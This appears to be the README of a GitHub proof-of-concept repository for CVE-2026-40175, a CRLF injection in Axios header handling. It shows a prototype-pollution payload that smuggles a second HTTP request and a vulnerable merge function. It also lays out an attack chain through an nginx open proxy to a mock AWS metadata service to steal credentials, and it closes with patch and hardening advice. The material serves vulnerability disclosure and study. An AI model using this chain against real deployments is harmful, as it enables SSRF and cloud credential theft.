pjt3591oo/CVE-2026-40175-poc
GitHub: pjt3591oo/CVE-2026-40175-poc
该工具演示了 Axios 旧版本中因 CRLF 注入与原型污染导致的 SSRF 攻击链及其完整触发条件。
Stars: 0 | Forks: 0
# CVE-2026-40175 — Axios CRLF 인젝션 / HTTP 요청 스미글링 PoC
## 개요
Axios HTTP 클라이언트(`>=1.0.0 <1.15.0`, `<0.31.0`)의 `AxiosHeaders.set()`이 헤더 값 내
`\r\n`을 검증하지 않아 발생하는 **CRLF 인젝션** 취약점.
공격자가 별도의 Prototype Pollution(lodash, qs 등)과 연계하거나 직접 헤더에 CRLF를 주입하면,
nginx open proxy 같은 중간 레이어를 통해 **임의 내부 서버로의 SSRF**가 가능하다.
| 항목 | 내용 |
|---|---|
| CVSS | 9.9 (Critical) |
| 영향 버전 | `axios >=1.0.0 <1.15.0`, `axios <0.31.0` |
| 패치 버전 | `1.15.0`, `0.31.0` |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
## 근본 원인
```
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ 로 후행 CRLF만 제거
↑ 값 중간의 \r\n은 그대로 통과
```
결과적으로 헤더 값에 `\r\n\r\nGET /admin HTTP/1.1\r\n...`을 삽입하면
TCP 스트림에 두 번째 HTTP 요청이 그대로 포함된다.
## Prototype Pollution
### 개념
JavaScript의 모든 객체는 `Object.prototype`을 상속한다. Prototype Pollution은 이 공유 프로토타입 자체를 오염시켜 이후 생성되는 모든 객체에 영향을 주는 공격이다.
```
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← 선언한 적 없지만 존재
```
### 트리거 메커니즘
취약한 재귀 merge 함수(`lodash < 4.17.21`, `qs` 등)가 `"__proto__"` 키를 특별히 처리하지 않을 때 발생한다.
```
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// key = "__proto__" 일 때:
// target["__proto__"] → Object.prototype 반환
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → Object.prototype 에 직접 프로퍼티 주입
} else {
target[key] = source[key];
}
}
}
// 공격자 JSON: __proto__ 가 own property 로 파싱됨
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← 오염 성공
```
### axios 연결
```
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
앱 코드: const opts = {};
opts.headers → prototype chain → 오염된 객체 반환
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← CRLF 검증 없음
↓
TCP 스트림에 스머글된 요청 포함
```
### 주의: 광범위 오염의 부작용
`Object.prototype.headers`를 오염시키면 axios 내부 schema 객체도 영향을 받는다.
실제 공격에서는 오염 범위를 정밀하게 제어해야 하며, 광범위한 오염은 의도한 공격 전에 앱 자체를 크래시시킬 수 있다(DoS 부작용).
## 공격 체인
```
[1] 직접 헤더 주입 또는 Prototype Pollution (취약한 merge 라이브러리 경유)
↓
[2] axios가 CRLF 포함 값을 검증 없이 헤더로 직렬화
↓
[3] raw net.Socket 으로 TCP 스트림에 기록
(Node.js 기본 http 모듈은 런타임에서 차단 → custom adapter 필요)
↓
[4] nginx (proxy_pass http://$http_host) 가 2개 요청으로 분리 파싱
↓
[5] 스머글된 요청의 Host 헤더 기반으로 다른 upstream 으로 라우팅 (SSRF)
↓
[6] 내부 서버(IMDS 등) 접근 → 크레덴셜 탈취
```
### 핵심 조건
| 조건 | 내용 |
|---|---|
| Node.js http 모듈 우회 | `net.Socket` 기반 custom adapter 사용 |
| nginx open proxy | `proxy_pass http://$http_host` 설정 |
| `ignore_invalid_headers on` | 비정상 헤더 허용 |
| `resolver` 지시자 | 동적 hostname 해석 가능 |
## PoC 아키텍처
```
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
```
### 포트 맵
| 포트 | 서비스 | 역할 |
|---|---|---|
| 3001 | backend | HTTP 요청 수신 / 헤더 로깅 |
| 3003 | backend | exploit.html 정적 서버 |
| 3004 | backend | relay — browser POST → net.Socket 변환 |
| 8080 | nginx | open proxy (`proxy_pass http://$http_host`) |
| 80 (내부) | imds | AWS IMDSv2 mock 서버 |
## 실행
```
# 전체 컨테이너 빌드 및 시작
docker compose up --build
# Node.js 테스트 (호스트에서 실행)
npm install
```
### 시나리오별 테스트
```
# 1. 백엔드 직접 — CRLF 주입으로 2개 요청 발생
node poc/test-axios-adapter-backend.js
# 2. nginx 경유 — 스머글된 요청이 backend:3001 으로 라우팅
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRF 체인
node poc/test-prototype-pollution.js
# 4. 브라우저 — http://localhost:3003
# 대상 선택: 백엔드 직접 / nginx 경유 / nginx → IMDS (SSRF)
```
### IMDS SSRF 시나리오
```
1. nginx → IMDS 선택 후 Custom Adapter 실행
2. 스머글된 요청: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx가 host=imds 로 라우팅 → IMDSv2 mock 서버로 전달
4. imds 컨테이너 로그: [!!!] 크리덴셜 탈취 성공!
```
## 파일 구성
```
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relay 컨테이너
├── Dockerfile.imds # IMDSv2 mock 컨테이너
├── package.json # axios@1.14.0 (취약 버전 고정)
└── poc/
├── backend-server.js # HTTP 서버 (3001), relay (3004), 정적 서버 (3003)
├── mock-imds.js # AWS IMDSv2 mock (PUT /token, GET /credentials)
├── nginx-container.conf # open proxy 설정
├── exploit.html # 브라우저 PoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → backend 직접
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # 표준 axios (Node.js 차단 확인용)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injection 체인
```
## nginx 설정 (핵심)
```
resolver 127.0.0.11 valid=30s; # Docker 내부 DNS
location / {
proxy_pass http://$http_host; # Host 헤더 기반 동적 라우팅 = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # 정상 요청용 고정 upstream
}
```
`$http_host`(포트 포함)를 upstream으로 사용하므로, 스머글된 요청의 Host 헤더가
곧 라우팅 목적지가 된다.
## 완화
```
npm install axios@^1.15.0
```
패치(`1.15.0`)는 `assertValidHeaderValue()`를 도입해 CR/LF 포함 값을 즉시 거부한다.
추가 방어:
- nginx에서 `proxy_pass http://$http_host` 금지 → 고정 upstream 사용
- IMDSv2 전용 강제 (`HttpTokens: required`)
- EC2 인스턴스 프로필 최소 권한 적용
## References
- [NVD - CVE-2026-40175](https://nvd.nist.gov/vuln/detail/CVE-2026-40175)
- [Miggo Vulnerability DB](https://www.miggo.io/vulnerability-database/cve/CVE-2026-40175)
- [Aikido — Is it really exploitable?](https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable)
- [CVEReports](https://cvereports.com/reports/CVE-2026-40175)
标签:Axios, CMS安全, CRLF注入, CVE-2026-40175, CVSS9.9, CWE-93, GNU通用公共许可证, HTTP协议违规, HTTP请求走私, JavaScript, lodash, MITM代理, Node.js, qs, SSRF, TCP注入, 中间件代理, 临界点漏洞, 前端安全, 原型污染, 安全漏洞分析, 网络安全, 自定义脚本, 补丁版本0.31.0, 补丁版本1.15.0, 请求拦截, 请求篡改, 隐私保护